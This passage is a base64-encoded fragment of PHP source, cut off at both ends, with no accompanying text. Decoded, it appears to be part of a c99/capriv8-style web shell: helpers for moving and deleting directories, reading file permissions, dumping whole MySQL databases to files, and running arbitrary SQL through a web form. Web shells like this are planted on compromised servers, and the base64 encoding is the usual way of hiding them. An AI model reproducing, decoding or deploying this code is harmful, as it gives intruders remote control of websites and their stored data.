XIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30NCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7DQogICAgICAgICAgJHJldCA9IFRSVUU7DQogICAgICAgICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBlbHNlIHtpZiAobWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gRkFMU0U7fX0NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoaXNfZGlyKCRkKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHsNCiAgICAgICAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogICAgICAgIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3JtZGlyKCRkKSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsNCiAgICAgICAgICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30NCiAgICAgICAgICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgcm1kaXIoJGQpOw0KICAgICAgcmV0dXJuICFpc19kaXIoJGQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSB7DQogICAgICAkbyA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7DQogICAgICBpZiAoaXNfZGlyKCRvKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19ybWRpcigkbyk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO30NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkgew0KICAgICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICJsIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiAgICAgIGVsc2UgeyR0eXBlID0gIj8iO30NCiAgICAgICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogICAgICAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsNCiAgICAgICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogICAgICAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICAgICAgJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7DQogICAgICAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICAgICAgJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsNCiAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQogICAgICBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9DQogICAgICByZXR1cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpIHsNCiAgICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJzIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdCA9ICJwIjt9DQogICAgICBlbHNlIHskdCA9ICI/Ijt9DQogICAgICAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICAgICAgJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsNCiAgICAgICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogICAgICByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkgew0KICAgICAgJG9uZSA9IGludHZhbCgkc29ydCk7DQogICAgICAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsNCiAgICAgIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQ0KICAgICAgcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpIHsNCiAgICBmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKSB7DQogICAgICBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiAgICAgIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsNCiAgICAgIGdsb2JhbCAkc2hfdmVyOw0KICAgICAgJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogICAgICAkZGIgPSAkc2V0WyJkYiJdOw0KICAgICAgJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAgICAgICRubDJiciA9ICRzZXRbIm5sMmJyIl07DQogICAgICAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAgICAgICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogICAgICAkdGFicyA9ICRzZXRbInRhYnMiXTsNCiAgICAgICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogICAgICAkcmV0ID0gYXJyYXkoKTsNCiAgICAgICRyZXRbImVyciJdID0gYXJyYXkoKTsNCiAgICAgIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KICAgICAgaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30NCiAgICAgIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9DQogICAgICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOw0KICAgICAgfQ0KICAgICAgaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChzaXplb2YoJHRhYnMpID09IDApIHsNCiAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogICAgICB9DQogICAgICAkb3V0ID0gIg0KICAgICAgIyBEdW1wZWQgYnkgIi4kc2hfbmFtZS4iDQogICAgICAjDQogICAgICAjIEhvc3Qgc2V0dGluZ3M6DQogICAgICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiAgICAgICMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiINCiAgICAgICMgREI6IFwiIi4kZGIuIlwiDQogICAgICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsNCiAgICAgICRjID0gY291bnQoJG9ubHl0YWJzKTsNCiAgICAgIGZvcmVhY2goJHRhYnMgYXMgJHRhYikgew0KICAgICAgICBpZiAoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpIHsNCiAgICAgICAgICBpZiAoJGFkZF9kcm9wKSB7JG91dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fQ0KICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgICAgICAgICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgICAgICAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOw0KICAgICAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsICRzb2NrKTsNCiAgICAgICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHsNCiAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgew0KICAgICAgICAgICAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQ0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAgICAgICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgICAgICAgICAgICRvdXQgLj0gJHNxbDsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOw0KICAgICAgaWYgKCRmaWxlKSB7DQogICAgICAgICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOw0KICAgICAgICBpZiAoISRmcCkgeyRyZXRbImVyciJdW10gPSAyO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgICAgICAgIGZjbG9zZSAoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319DQogICAgICByZXR1cm4gJG91dDsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkgew0KICAgICAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpIHsNCiAgICAgICAgJHZhbHVlID0gIiI7DQogICAgICAgIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICAgICAgICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAgICAgICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogICAgICB9DQogICAgICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogICAgICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9DQogICAgICAkYXJyYXkgPSBhcnJheSgpOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIHJldHVybiAkYXJyYXk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQ0KICAgICAgZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogICAgICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7DQogICAgICByZXR1cm4gJGVycm9yOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpIHsNCiAgICAgIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0Ow0KICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF94ID0gJHNxbF9nb3RvO30NCiAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7DQogICAgICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MD48dHI+PHRkPjxmb3JtIG5hbWU9XCJjYXByaXY4X3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9c3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF94IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgICAgICAgaWYgKCR0Ymxfc3RydWN0KSB7DQogICAgICAgICAgZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuY2Fwcml2OF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICAgICAgICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY3JlYXRlX2RiIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9jcmVhdGVfZGIoJGRiLCRzb2NrPSIiKSB7DQogICAgICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsNCiAgICAgIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9DQogICAgICBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkgew0KICAgICAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICAgICAgJGFyciA9IGV4cGxvZGUgKCIgIiwkcXVlcnkpOw0KICAgICAgJHR5cGVzID0gYXJyYXkoDQogICAgICAgICJTRUxFQ1QiPT5hcnJheSgzLDEpLA0KICAgICAgICAiU0hPVyI9PmFycmF5KDIsMSksDQogICAgICAgICJERUxFVEUiPT5hcnJheSgxKSwNCiAgICAgICAgIkRST1AiPT5hcnJheSgxKQ0KICAgICAgKTsNCiAgICAgICRyZXN1bHQgPSBhcnJheSgpOw0KICAgICAgJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiAgICAgIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsNCiAgICAgICAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAgICAgICAkcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsNCiAgICAgICAgaWYgKCR0eXBlc1skb3BdID09IDIpIHsNCiAgICAgICAgICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7DQogICAgICAgICAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikgew0KICAgICAgICAgICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsNCiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOw0KICAgICAgICAgICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRbImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30NCiAgICAgICAgICAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Fmc2VhcmNoIikpIHsNCiAgICBmdW5jdGlvbiBjYWZzZWFyY2goJGQpIHsNCiAgICAgIGdsb2JhbCAkZm91bmQ7DQogICAgICBnbG9iYWwgJGZvdW5kX2Q7DQogICAgICBnbG9iYWwgJGZvdW5kX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9